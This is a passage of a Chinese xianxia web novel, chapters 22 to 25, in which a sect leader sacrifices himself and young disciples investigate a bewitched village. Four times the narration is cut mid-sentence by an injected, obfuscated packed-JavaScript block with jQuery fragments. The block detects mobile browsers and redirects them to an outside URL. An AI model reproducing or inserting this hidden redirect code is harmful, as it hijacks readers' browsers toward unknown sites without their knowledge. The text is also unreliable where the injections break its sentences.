灵虚宗宗主将腰间玉佩和自己的一品灵器递给无极真人,郑重道:“小女阿念尚且年幼,她的母亲早逝,这孩子自小便在灵虚宗,她还从未离开过我这个父亲,以后这孩子就托付给真人了,还望真人能保她平安长大。”
无极真人愣了一瞬,抬手捋了捋花白的胡子,道:“老朽定不辜负上官宗主所托。”
得到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799324|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此桩承诺的灵虚宗宗主终是松了口气,他总算了却一桩心事,方能毫无牵挂的走完这最后一程。
身穿藕粉云锦裙的少女似乎感知到了父亲眼里的悲伤,她拼命推开挡在身前的人,哭喊着跑向毅然踏入阵法的灵虚宗宗主。
“爹爹!”
看见情绪失控的上官小姐,柳不覆猛地甩开了司青衔的手,他冲过去将悲痛欲绝的少女拦下,却不想这小姑娘的力气颇大,两个人摔倒在地,柳不覆顾不上被磕痛的后腰,直接将人紧紧扣在怀里。
“上官小姐,令尊已经做出了选择……”
“你放开我!放开我!”上官小姐在愤怒之下拿下腰间的匕首狠狠扎在柳不覆的左手手背上,柳不覆闷哼一声也没有松手,在二人挣扎中,柳不覆胳膊上被划出好几道血痕。
司青衔则是出手干脆利落,用仙法夺走了上官小姐手里的匕首,他皱眉道:“师兄,你的手……”
“无妨。”柳不覆打断了司青衔的话,他用另一只完好无损的手捂住了上官小姐湿漉漉的眼睛,低声安抚道:“不要看,上官宗主没有舍弃你,他是为了替天下苍生谋出一条生路,他会跟上古神族一样化为日月星辰、山川湖海,永远守护这八荒六合。”
过了许久上官小姐才安静下来,她怔怔的看着早已消散的阵法,整颗心连呼吸都感受不到了,她只知道自己再也没有父亲了……
那个曾经最疼她爱她,无条件纵容她,事事为她兜底的父亲无法亲眼看到自己的宝贝女儿长大是何模样。
没有人会站在宗门外等她回家了,也没有人会叫她‘吾儿阿念’,更也不会有人在她生病时亲自熬粥烹药……
这场大战中最痛苦的人是丧失亲父的上官小姐,她的父亲谨慎势利了一辈子,最后却为了天下人以身殉道,这是何其可悲可叹,最不起眼的灵虚宗宗主成了人人敬佩、史册留名的上官宗主。
“原来这就是师父屡次照拂灵虚宗的原因。”
桑宁不由得想起师父寝殿内挂的一幅画,画卷上的女子眉眼间很是灵动,气质尽显温婉大方,画卷下方是师父亲手所题‘吾妻阿念’四个字。
江花朝讲完这故事只觉口干舌燥,云晟极有眼色地递过去一杯清茶,道:“师姐,你先喝点茶。”
“你小子今日很殷勤啊。”
望尘忍不住踢了下献殷勤的云晟,不过他倒是没想到平日里凛若冰霜的掌门也会动情,还是这般难解难分的羁绊。
他叹了口气,感慨道:“神魔大战已经消耗了太多生灵,神族即将覆灭,仙族死伤过半,魔族更是全数魂散,灵虚宗宗主以己之命庇护天下苍生,此乃大善之举。”
江花朝道:“魔族此役死伤殆尽,其余的数千子民都受到神族诅咒,永生永世困在石像里,苦海无涯亦无期。”
“魔族真的都是十恶不赦之辈吗?”
23. 第二十三章
“你这话说的奇怪,神魔大战皆因魔尊一人杀念而起,魔族难道还能是无辜的不成?”
云晟一脸嫌弃地看着口出狂言的楼珩,他忍不住踢了下楼珩,道:“你怕不是脑子被驴踢了?魔族生性残暴弑杀,没有一个是好东西。”
楼珩随手拍了拍衣摆处的灰,叹了口气,他觉得这场大战实在是两败俱伤。
“因为这场神魔大战,神族的神力消耗殆尽不得不全族陨落,而魔族子民也被永远封在石像之中,世间仅剩人、妖、仙三族,这一战让两族彻底陨落,到底谁才是赢家?”
云晟被问得一愣,哎?好像很有道理啊。
神族的陨落导致整个仙门也逐渐衰败,而妖族也因失去魔族庇护被迫逃往人间东躲西藏,某些生性恶劣的妖族在人间祸害一方,一场大战导致整个八荒六合都陷入僵局,仙族无法完全胜于妖族,妖族亦是如此,当真是没有赢家。
江花朝主动岔开话题,顺嘴提起下个月去人间历练一事,道:“好了,不说这些不开心的事情了,再过些时日就到了下山游历的日子,今年望尘也要去,这次领队的还是大师姐。”
望尘道:“总算是能跟着师兄师姐们下山历练了,我早就做好准备了,这次下山历练我定要多抓几个妖邪替民除害。”
下山历练?
这是楼珩第一次听说,他好奇地问道:“什么是下山历练?”
江花朝道:“自神魔大战后,妖王信陵携妖族逃出不周山的结界,众门派每年都会在不同的时间派门中弟子下山游历,一是因为人间近年天灾不断,仙门的灵丹妙药能救助苍生,二为除去祸害人间的妖物,这也是千年来的旧例了。”
桑宁拿起二品灵器在空中比划着,兴奋道:“阿珩你也很感兴趣吗?但是我们这一届弟子要再等三年,到时候咱们也要下山惩奸除恶,我已经迫不及待了!”
楼珩起初以为师兄师姐们下山历练只是七八个月不见,没想到他们这一去就是两年,就连过年都没回来吃团圆饭。
望尘每个月都会写信给楼珩,信中讲了他们路过的村子有的发生了疫病灾情,也有的是妖物作祟,还有柳成荫、云晚苓、江花朝他们三人灭掉了多少妖邪,还收服了几只性情暴戾的凶兽。
楼珩每次收到信都会翻来覆去读好几遍,他越发期待下山游历的日子早点来临,想惩奸除恶就要早日修炼出剑灵。
司青衔见自家徒弟每日积极练剑也颇感欣慰,他知道楼珩的天资不高,原本想让楼珩晚几年再下山历练,但一看见楼珩期待的眼神,他就说不出拒绝楼珩的话。
罢了罢了,终归还是个孩子,就喜欢跟着师兄师姐们凑热闹。
自从知道楼珩要跟着这一届新生弟子下山历练,司青衔就每隔几日给楼珩炖汤,这鸡汤里放了上好的补药,补药自然是从舜之帝君的恨水阁顺手拿的,就连这山鸡野鸭都是他从昆仑山逮回来的。
谁让舜之那家伙就爱养点山鸡野鸭,种点仙草灵芝,而且偏偏还让司青衔知道他的癖好,这就怨不得旁人惦记恨水阁的宝贝了。
“师尊,今日又是老鸭汤啊?”楼珩坐在桌前苦着一张脸,他小声嘀咕道:“我都快吃成芦鸭了……”
司青衔手中的筷子一顿,他抬手夹了块豆腐,道:“不想吃?”
楼珩诚恳地点点头:“师尊,我都连着喝三个月了……”
司青衔骨节分明的手敲了敲桌面,轻笑道:“既然如此下山历练的事就容后再议吧,毕竟以你现在的资质再修炼个三五年才能……”
“师尊!”楼珩连忙打断了司青衔的话,他端起瓷碗一口气喝了大半,讪讪一笑,“师尊炖的鸡汤鸭汤味道鲜美,简直是天底下最好喝的汤,弟子喝一辈子也不会腻。”
“…………”
司青衔勾了勾唇角,这小子自打跟云晟熟络后就越发花言巧语,不过偏偏他就吃这一套,真是拿这小徒弟没办法。
六月刚过,暑气仍笼罩在整个人间。
柳不覆将这一批弟子下山游历的时间定在了后日,这次领队的是掌门首徒——柳成荫,另一队则是修为最高的云晚苓。
柳成荫的修为在蓬莱山仅次于云晚苓,有他领队就能护好同门师弟师妹,而云晚苓自是不用说,她的修为术法算是仙门中的佼佼者,年轻一辈里无人能出其右。
镜花台和揽月阁两位尊者都在给自家徒弟收拾包袱,云晟跟云逍自是不用说,他们兴奋得两天都没睡好觉,在包袱里装了好多东西,幸好仙门的包袱非同寻常,是另一种样式的乾坤袋。
楼珩向来怕热,因此司青衔给楼珩的包袱里放了一把天脊山寒玉所制成的玉扇,这扇子扇出来的风就跟置了冰的七轮扇一样凉爽。
“为师给你装了很多灵丹妙药,有治跌打损伤的,有稳固元神的,有安神药,还有许多其他的药,具体药效都贴在瓶身上了,你挑几身喜欢的衣裳和护腕,还有很多东西都没收拾。”
司青衔将所有要给楼珩带走的物件都摆在软榻上,站在一旁的楼珩看见榻上摆满了衣裳、鞋袜、药瓶、以及一些琐碎的小玩意,他眼皮一跳,颤声道:“师尊,您这是要把整个镜花台都装进去啊?”
司青衔还顺手拿出来两本话本,还有一袋沉甸甸的银子,他嘱咐道:“旁的为师都不担心,只有一点,不许跟着云晟他们逛花楼,更不许招惹姑娘,修仙之人虽不断情绝爱,但最好不要跟凡人有牵扯,这世上不仅有人妖殊途,人仙也是一样,你虚岁刚过十五,这是你第一次离开蓬莱,所以这件事很重要,懂了吗?”
楼珩擦剑的手一顿,他一本正经道:“师尊,弟子保证绝对不会丢蓬莱的脸,更不会丢镜花台的脸。”
司青衔闻言轻笑一声,挑眉道:“重点是这个吗?”
楼珩忍俊不禁道:“师尊,你就放心吧,我记住你说的话了。”
在临行前司青衔思虑再三还是担心楼珩的安危,他的目光落到正在专心吃虫子的绿豆身上,既然阿珩无法使用修为太高的法器,那不如让他带上绿豆。
司青衔平静道:“绿豆,阿珩第一次下山历练,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799325|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本尊终归还是不放心,你跟着他,保护他的安危,可好?”
绿豆瞬间瞪大眼睛,它一只小鸿鹄能保护谁啊?它才不要去!
“叽叽——”我不去!你要是把我丢给那个臭小子,我半路就飞回来!
司青衔蹙着眉戳了戳气呼呼的小肥鸟,道:“你敢不听本尊的话?”
“叽叽——”你怎么不让山药去保护那臭小子?!
“…………”
司青衔欲言又止,他倒是忘了山药已经被恨水阁送了回来,既然绿豆死活不配合,那还是不要勉强它了,毕竟这鸟的脾气倔,它还真干得出半路飞回来这种事。
托了某只小肥鸟的福,正在镜花台后山山洞里睡得四仰八叉的山药被一个召唤术瞬移到大殿里,迷迷糊糊的山药抬起毛茸茸的脑袋,被打扰美梦的山药下意识伸出利爪,但看到司青衔的瞬间它就收起了利爪,嗓子眼里发出呼噜噜的声音。
“嗷——”主人,我这次去昆仑山变厉害了!
司青衔满意地勾了勾唇角,“这些时日你很是无聊,这次要跟着阿珩,保护好他们一行人,知道了吗?”
山药:??我跟那小子不熟!
司青衔直接拎着山药的后脖颈将它丢到楼珩怀里,淡声道:“为师觉得这次下山历练你们会遇到不少危险,为了确保你的安危,你最好还是带上山药。”
楼珩看了一眼在自己怀里扑腾的小白虎,这家伙是不是不情愿啊,他犹豫片刻才弱弱开口:“山药……它好像不愿意。”
“你看错了,它这是高兴。”司青衔面不改色道。
楼珩狐疑地看着一个劲哈气的小白虎,这……确定是高兴?
他还没来得及拒绝就被旁边的云晟一把拽住,云晟扯了一下楼珩的袖子,小声嘀咕:“师尊座下的白额虎凶猛无比,就连妖族凶兽都只能跟它打个平手,你就带上吧,万一遇上妖族凶兽呢。”
这是楼珩第一次觉得云晟的话竟然有几分道理,这人一向是狗嘴里吐不出什么好话,现在倒是有几分师兄的样子了。
他默默把扑腾得厉害的小白虎塞进包袱里,拍了拍它毛茸茸的脑袋,安抚道:“知道你高兴,但咱们不是出去游玩,你别高兴得太早。”
山药:??你真的觉得我很高兴吗?
于是,楼珩就这么稀里糊涂地带上了山药,由云晚苓领队的一行十余人御剑向东而行,而柳成荫则是带领二十余名弟子向南而行。
楼珩的御剑术早就熟练了,再加上有云晚苓在前面开路,他们一行人很快便出了不周山的结界。
行至傍晚的时候,江花朝提出在附近镇子上找一家客栈休整一晚,等明日再用司南探查何方有妖物作祟。
“好,我们就先在附近找个客栈。”
云晚苓很是赞成,毕竟这几个师弟师妹除了江花朝和望尘,其他的都不曾出过蓬莱,一切都要稳妥行事,而且掌门特意交代了这几个年龄小的不能风餐露宿,以免水土不服染上疫病。
“师姐,前面就有一个村子!”
24. 第二十四章
“你别说,这地方还挺热闹的。”
此地名唤知渔村,正因此地依山傍水所以整个村子大半的村民以打渔为生,按理说这种普通村子很是淳朴。
但他们万万没想到这村子丝毫不显清贫,就连客栈的床榻都是上好的檀木,圆桌上的茶具也是青瓷,更别提店小二送来的精致糕点和西湖龙井。
望尘率先拿起一块糕点,细细品尝后感慨道:“这地方哪里是穷乡僻壤,比上次跟柳师兄他们去的镇子好了不知道多少倍,这糕点味道真挺不错的。”
“可是这很不寻常。”江花朝若有所思道:“以前去过的村子有的常年旱灾,有的瘟病横行,近些年人间受妖族的扰乱,这般安居乐业且富饶的村子真是不多见。”
云晟早就饥肠辘辘了,他迫不及待就要去街上买点吃食,随手将包袱往榻上一扔,道:“师姐,你就放心吧,这么安宁的村子怎么可能有妖物,也许是因为此处僻静才没有妖物作祟,咱们赶紧去吃点东西吧!”
望尘随手理了理衣襟,笑道:“阿晟,咱们走之前你不是吃了三碗饭,这么快就饿了。”
云晟一本正经道:“这都过了大半日了,我早就饿得前胸贴后背了。”
云逍顺手锤了下他的肩,嗤笑道:“你哪天不是一副饿死鬼的模样,你才是师尊没抓到的那只饕餮吧?”
“阿姐,你看云逍他又欺负人!”云晟挽起袖子就准备跟他大干一场,望尘不紧不慢地上前拦住云晟,“你不饿了?”
“要饿死了!”云晟恶狠狠地瞪了一眼笑眯眯的云逍,要不是因为他现在没力气,肯定要把云逍揍得落花流水。
一行人刚要走出客栈就被店小二拦住了,他热情地招呼道:“客官们,咱们这儿有几家地道的饭馆,往前走过了石桥再往北走有几家店面不大的铺子,味道都很好,今天晚上还有灯会,客官们玩得尽兴。”
按照店小二指路的方向,他们很快就找到临近河岸的几家饭馆,云晟跟云逍、桑宁直奔一家炙肉铺子而去,至于剩下几个不爱吃炙肉的则是走进了隔壁的饭馆。
店小二招呼着他们一行人坐到靠窗的桌子前,问道:“客官,您几位吃点什么?”
“小二,上几道你们店里的招牌,再来七碗米饭,有一半的菜要重辣。”
店小二连忙端上了凉茶饮,“好嘞,您几位慢坐。”
紧挨着楼珩的是一位面生的师兄,蓬莱弟子众多,楼珩认识的人屈指可数,所以跟一个陌生的师兄坐在一起,他略有几分不自在,他只能用喝茶来缓解尴尬。
坐在楼珩对面的云晚苓注意到楼珩的尴尬,她清了清嗓子,向众人介绍了另外三位弟子。
“对了,还没给你们介绍,这三位都是蓬莱得意弟子,这两位是竹长老的关门弟子,燕昀和阿徵他俩的眼睛能看透妖物的伪装术,他们的法器亦能追踪到妖物,并记录其妖物的气息,所以这一路上由他们寻妖物,而另一位师弟叶禹的伏魔塔能收服世间所有的妖物。”
楼珩惊讶地看向坐在旁边的师兄,原来这位就是手持伏魔塔的叶师兄,真是百闻不如一见,他拱了拱手道:“楼珩久仰师兄大名,此次下山历练还要多多仰仗各位师兄。”
“你就是司渊尊者门下唯一的徒弟,我可是听过你的名头,镜花台唯一的亲传弟子。”
叶禹对这小师弟很是好奇,毕竟楼珩可是尊者从众仙门子弟和资质不错的凡人中唯一选中的弟子,就连试炼大会都没参加就能得尊者青睐,这可真是闻所未闻。
阿徵好奇地问道:“小师弟,司渊尊者好相处吗?我们常年跟着师父在外云游,而且也根本想象不出尊者收徒的样子。”
楼珩讪讪一笑,“师尊他其实挺好相处的,而且……”
楼珩的话还没说完就被趴在长凳另一端的小白虎咬住了袖子,他无奈地摸了摸小白虎的脑袋,“山药,你不会是又饿了吧?”
山药:??你说的是人话吗?今天你只喂了我两根蒸山药,不会就因为我叫山药,你就觉得我只用吃山药吧。
店小二手脚麻利的把菜端上桌,笑呵呵道:“客官久等了,这四道菜咱们家的招牌,这三道用的是蜀城辣椒所制,还送了一碗甜羹,各位请慢用。”
“咱们在外不必按照蓬莱的规矩,大家都不用拘谨。”云晚苓把筷子递给江花朝,道:“师妹先尝尝味道如何?”
江花朝夹了一块辣子鸡细细品尝,“这味道还真不错,就是有点太辣了。”
御剑了大半日,他们几人的胃口自然很好,尤其是这几道川菜很应楼珩的喜好,他还顺手撕了一只八宝鸭的鸭腿喂给山药。
“山药应该更喜欢吃生的。”望尘看向闷闷不乐的小白虎,忍俊不禁道:“果然是师尊养的灵兽,跟绿豆一个脾性。”
听到这话江花朝抬眸看了眼耷拉着脑袋的山药,若有所思道:“要不等会去集市上买两只活鸡,总不能让它饿着。”
“今天晚上还有灯会,我还没逛过灯会。”楼珩放下了筷子,这是他第一次下山,对人间的一切事物都觉得新奇。
他们一行人刚走出饭馆就被眼前的一幕惊得挪不开眼,整个村子的街头巷尾都挂满了各式各样的花灯,放眼望去数不清的河灯在波光粼粼的河水中映出盈盈火光,漫天绽放的绚烂烟花更是让人挪不开眼。
云晟拿着一串糖葫芦惊叹道:“这村子看着不大居然这么热闹,他们这是过什么节呢?”
旁边的小贩笑呵呵道:“你们是外乡来的吧?自从去年经历了一场大灾,我们附近这几个村子每月十五都要举办花灯会,就是为了感激神庙里的神仙!只要去庙里给神仙上香磕头供奉祭品,神仙就能帮人完成心愿,百试百灵啊!”
“神庙里的神仙?”云晟听得直皱眉,这道听途说的助人完成心愿竟也能有人信?
江花朝跟云晚苓对视一笑,这小子都能看出来这神仙是招摇撞骗的,看来这村子里的人都是被他们口中的‘神仙’骗得团团转。
石桥上有人敲响了手中的铜锣,高声喊道:“时辰到了!该放天灯了!”
众人在天灯上提笔写下心愿,人们在烛火摇曳间将天灯托起,天灯上的图案都不一样,每个人心中所向也各不相同,数百盏天灯远远看去像是萤火点点,映亮了漆黑的夜幕。
站在石桥上的燕昀和阿徵被眼前的一幕惊得说不出话,这还是他们第一次见到如此盛景,原来凡人供奉天灯以求庇护竟是真的。
“这漫天灯火好美啊,师兄,咱们也放一盏吧。”
阿徵从桥下小摊上买了盏天灯,他迫不及待地拽着燕昀给天灯题字,他把笔递给燕昀,笑眯眯道:“师兄,你想写什么愿望?”
“阿徵有什么愿望?”燕昀知道阿徵的字跟狗爬一样,所以在外人面前某人不好意思,那他这个做师兄的就该多照顾师弟。
阿徵思考了片刻,“希望蓬莱山能一直好好的,还有同门都能平安顺遂,早日降服妖族,还天下苍生一个太平。”
燕昀闻言便提笔写下寥寥几行字:蓬莱山岁岁无虞,蓬莱弟子长安常乐,苍生无灾亦无劫。
他们逛了许久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799326|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才回客栈,云晚苓直接找店小二加了间房,她习惯了一个人住,而桑宁则在一旁缠着江花朝要跟她住同一间。
“师姐,花朝师姐,你最好了。”桑宁恨不得再长出几只手紧紧缠住江花朝。
江花朝无奈地摸了摸她的头,“好好好,师姐答应你了,怎么跟个小狗一样,铺床去吧,桑小狗。”
看着桑宁美滋滋跑回房间的身影,云晟幽怨的眼神落在望尘身上,他直接上手就要去搂望尘的脖子,幽怨道:“哎,你看看人家,望尘,你太让我失望了。”
“别来这套,我可不跟你住。”望尘动作干脆地躲开,轻笑道:“你还是去找云逍吧,我可不跟旁人同住。”
云晟:“………”真不知道一个大男人哪儿来的洁癖,也不知道随谁了。
一行人在客栈休整了两日,原本早就该出发向北而行,但不知道为何他们体内的灵力开始波动,除了云晚苓和燕昀丝毫没有受影响,其他人都无法在短暂时间内御剑飞行。
首先察觉出蹊跷的是云晚苓,她这两日仔细观察了客栈附近的村民,不管是街边贩卖的小贩还是店内洒扫的小二,他们都是一副和气的样子,整个客栈连半句争执声都不曾有,这简直是匪夷所思。
“这地方好像不对劲,咱们并未在此处探到妖气,而且这些村民生活得很和谐,就好像是有人在背后操纵一样,咱们来这两天也没见过他们发生口角,按理说村子里的人因为鸡毛蒜皮的小事闹得不可开交是再正常不过的事了,可他们就好像只有快乐的情绪。”
江花朝附和道:“而且不管是男女还是老少,他们脸上只有一个表情,那就是高兴。”
云晟若有所思地摸了摸下巴,他猛地想起昨日去买糖葫芦时在巷子口遇见的几个孩童,“不对,巷子口那几个孩子就会哭也会闹。”
还没等众人反应过来,云晟两指合并从眼前一晃而过,一缕白光投射到墙角摆着的铜镜,不多时铜镜就浮现出昨日的画面。
巷子口蹲了四五个孩童,其中有一个扎着双丫髻的小女孩拿着木偶坐在地上哭,其余的孩童围着她转圈,边跑边拍手,嘴里还念叨着顺口溜。
“大哥哥跑跑跑……黑影子抓住了,爹娘就要哭,穿上白衣裳,神仙见了笑呵呵,爹娘不让进神庙,黑影子藏藏藏,最后抓住了!”
坐在地上号啕大哭的小女孩把手里的木偶砸到带头唱童谣的小男孩身上,哭喊道:“我哥哥没被抓走!狗蛋,你们不许胡说八道!”
狗蛋被砸得皱起眉,他叉着腰喊道:“翠翠,你哥哥就是回不来了!能跟着神仙是他的福气嘞,你哭什么哭?”
另一个小孩朝着坐在地上哭的翠翠狠狠踹了一脚,“就是!我娘都说了,神仙好不容易才选上一个人,你哥哥是去享福了!”
“我不要治病了!我只要我哥哥……”翠翠撕心裂肺的哭喊着,她紧紧搂着怀里的粗布衣裳,哥哥说过绝对不会丢下她。
再后来就是两个穿着粗布衣裳的妇人把这几个混小子领走了,她们笑着跟翠翠道歉,然后就把小兔崽子们带回了家,巷子只剩下被摔掉脑袋的木偶和哭得撕心裂肺的小女孩。
铜镜里的画面戛然而止,最后一幕就是小女孩哭着要找哥哥,众人被刚才的画面惊得说不出话,不论是那首童谣还是这些孩子说出的话都太渗人了。
阿徵后知后觉道:“难道说整个村子除了这几个孩子,其余的都不是人……”
“准确来说,他们应该都不是活人,只喜不悲要么是被妖物控制心智,要么这里一切都是虚幻。”
25. 第二十五章
“师姐,可这些村民身上验不出妖气,他们会不会是被妖邪附体了?”
云逍的话让云晚苓陷入深思,她的玉烛烬伞柄是神境遗留的玉石嵌成,既能探测到妖气又可以震碎妖族结界,只要妖族留下蛛丝马迹,玉烛烬就一定会有反应。
她断定玉烛烬不会出任何岔子,心里闪过一个不好的念头,她沉声道:“玉烛烬能捕捉到妖气,除非隐藏在背后的不是妖族,如果不是妖族就麻烦了。”
最先反应过来的人是燕昀,他迅速用腰间的法器在众人身上设下保护元神的结界,面露难色道:“既然不是妖族,魔族也早已覆灭,那就只有一种可能,恐怕咱们是遇上堕仙了,那就麻烦了。”
“堕仙?”楼珩诧异地抬眸,他怎么从未听说过,非仙非妖究竟是何族?
云晟默默拽了下楼珩的袖子,小声嘀咕道:“我只在史册记载里看过因执念太深或是违背天道吸收妖气才导致恶业缠身堕入魔道,堕仙的经脉尽断后内力全乱,但他们的法力仍不可小觑,一旦遇上就很难摆脱。”
楼珩头皮发麻,颤声道:“那咱们是不是遇上麻烦了?”
“恐怕是个大麻烦。”
江花朝越来越觉得这个村子的诡异之处就是他们口中的‘神仙’,她看向神情凝重的云晚苓,斟酌道:“晚苓,我们是不是应该去村民口中的神庙一探究竟。”
因为楼珩他们几人体内的灵力波动,便只能骑马前往村民口中的‘神庙’,至于云晚苓和燕昀则是用瞬移术提前到了西边半山腰的寺庙外。
“师姐,这地方阴森森的,而且这个好像也不对劲。”燕昀审视的目光落在寺庙前的两座石狮子上,区区障眼法也想瞒天过海,当真是可笑。
“勿伤!”燕昀话音刚落,腰间长剑迅速出鞘,他手执利刃对着寺庙前的石狮子猛地劈下去,石狮子被这狠厉一击硬生生劈开,一地碎石飘出一缕黑烟,奇怪的是这缕黑烟瞬间就消散了。
黑烟?妖族为黑,魔族为紫,如果是堕仙绝不会是黑烟。
“这哪里是堕仙,这分明是妖物,必须将此处与外界隔离。”
燕昀翻手结印用结界封住了整座寺庙,他虽不知这妖物的来历,但那些村民应该不是妖物幻化,而是被此妖迷了心智。
云晚苓早就察觉出不对劲,她看得出这座寺庙的蹊跷之处在于整座寺庙都被妖气环绕,但奇怪的是妖气并没有往外扩散,既没有吸食村民的精气和魂魄,也没有将其屠灭,这并不像寻常妖物的行事风格。
燕昀百思不得其解,他喃喃道:“这妖不像是极恶之妖,究竟为何盘踞于此,村子里失踪的那些人又被困在何处?”
“进了这庙,所有的疑问就都解开了。”
燕昀踏上台阶后缓缓推开了寺庙大门,寺庙内的银杏树上挂满了无事牌和红绸,北面月洞拱门上方的牌匾题字是‘世间人’,而西边葫芦拱门的牌匾题字则是‘座上佛’,每一块铺在地上的青石板都有莲花图纹,寓意是‘犹如莲花不着水,亦如日月不住空’,此句出自华严经,为的是普度众生、积累功德终能成就佛道。
此庙每一处建筑倒是有几分佛门的禅意,只可惜现在整个寺庙都被一团黑烟笼罩,越往里走黑烟越浓。
“师姐小心!”
那团黑烟似有意识,它见到外来者便迅速发起进攻,见那团黑烟要向他们袭来,站在燕昀身后的云晚苓翻手将玉烛烬挥向半空,伞面上的芙蕖图纹发出淡淡的金光,金光瞬间驱散了那团黑烟,寺庙的主殿内亮起一道佛光。
阴森森的笑声从主殿传出,“你们敢擅闯我的地盘,如果识相的话赶紧滚出去,否则你们的朋友就要死无葬身之地。”
与此同时,楼珩一行人在半山腰种满黑色枯树的林子绕了一个多时辰也没能走出去,方才他们跟江花朝和叶禹、阿徵在浓雾中走散了,原本楼珩是能抓住江花朝的,但不知道从哪儿窜出来几只体型庞大的山猫,山猫拦住了他们的去路,张牙舞爪地扑过去。
最先反应过来的是望尘,他原本是想结印设下结界,没想到这鬼地方施展不出半点灵力,就连结界都无法设下,这简直是太欺负人了。
楼珩反应同样很迅速,他用剑鞘击退了扑向桑宁的山猫,道:“用你们的法器!只靠躲闪是没用的!”
“这是什么玩意?”云晟一边用长剑抵挡山猫的利爪,一边忍不住骂娘,“这玩意也太凶猛了!望尘,有没有什么法子治住它们?”
被楼珩挡在身后的桑宁仔细观察了这些山猫的特征,她在书上见过这种奇兽,大声道:“这应该是雌雄同体的‘类’,我在藏书阁见过此奇兽的详细记载,此兽的肉可以消除嫉妒,所以会有人在深山老林里蛰伏数月捕捉此兽,它们应该是把咱们当成那些猎户了。”
云晟一头雾水:“?不是,这也太冤了吧,咱们什么也没做啊!”
望尘猝不及防被侧面扑过来的山猫抓伤,他的左臂上瞬间多了几道血痕,他痛得倒吸一口冷气。
桑宁眼疾手快用手中长鞭抽过去,她连忙上前扶住望尘,道:“咱们先别去追师姐他们了,先避开这些家伙,它们的爪子太过锋利,你们当心些。”
幸好望尘的法器感受到主人面临危险,望尘背在身后的‘碧海潮生琴’响起浑厚悠扬的琴音,琴音散出的阵阵白光逼退了那群张牙舞爪的山猫。
楼珩在南边的林子后面找到了一处山洞,云晟去附近林子捡了许多的枯树枝还顺手摘了野果,桑宁则是在洞内每一处角落都撒上了香囊里的药粉,她又从包袱里掏出几个香囊分发给每个人。
“这香囊里面的药粉能驱蛇虫,你们最好都戴上,这地方阴湿潮冷容易有蜈蚣蝎子之类的,现下我们所有人的灵力都被压制在体内,恐怕师姐他们的情况也好不到哪里去。”
楼珩把捡来的树枝堆起来后用火折子点燃,他用一截长树枝戳了戳熊熊燃起的火堆,叹道:“花朝师姐他们应该不会出事,只是不知道大师姐有没有寻到那妖的踪迹。”
云逍背着望尘将他放到一块巨石旁,脸色煞白的望尘倚着石壁微微喘气,云逍将外袍披在望尘身上,关怀道:“师兄,你这胳膊伤得不轻,要不要给师父传讯?”
“不必,这点小伤不碍事。”望尘从袖兜里掏出瓷瓶丢到云逍怀里,轻声道:“劳烦师弟替我上药了。”
云逍清楚望尘的性子,他蹲在望尘身侧轻轻撕开沾了血的衣袖,望尘胳膊上的几道血痕很深,皮肉几乎是翻出来,血已经凝固在伤口上。
如此可怖的伤口看得云逍头皮发麻,他默默挪开视线,就连拿着瓷瓶的手都在微微颤抖,犹豫道:“这伤口深可见骨,我担心会让你伤上加伤……”
“还是我给望尘师兄处理伤口吧。”桑宁看出了云逍的顾虑,她接过云逍手中的瓷瓶又从包袱里翻出药囊,拿出最细的一根银针开始清理伤口上的淤血。
她的动作令一旁的云晟忍不住惊呼,他强忍着呕吐的念头颤声道:“这是要做什么?”
“这伤口必须要及时处理,否则会留疤的。”桑宁在药理方面天资极高,她偶尔也会跟柳成荫去偏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799327|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远村落救死扶伤,对于处理这种小伤她也算是得心应手。
桑宁提前给望尘用了‘狗核桃’,所以望尘并不觉得伤口有多疼,他就倚在石壁旁安静地看着为自己清理淤血的桑宁,桑宁额前的碎发被薄汗打湿,她脸上专注的神情让望尘一时挪不开眼。
桑宁最后用白布将望尘胳膊上的伤口包扎好,她见望尘的脸色逐渐恢复才松了口气,道:“近几日伤口最好不要沾水,师兄也通药理,应该明白现下天气炎热,伤口很容易发炎。”
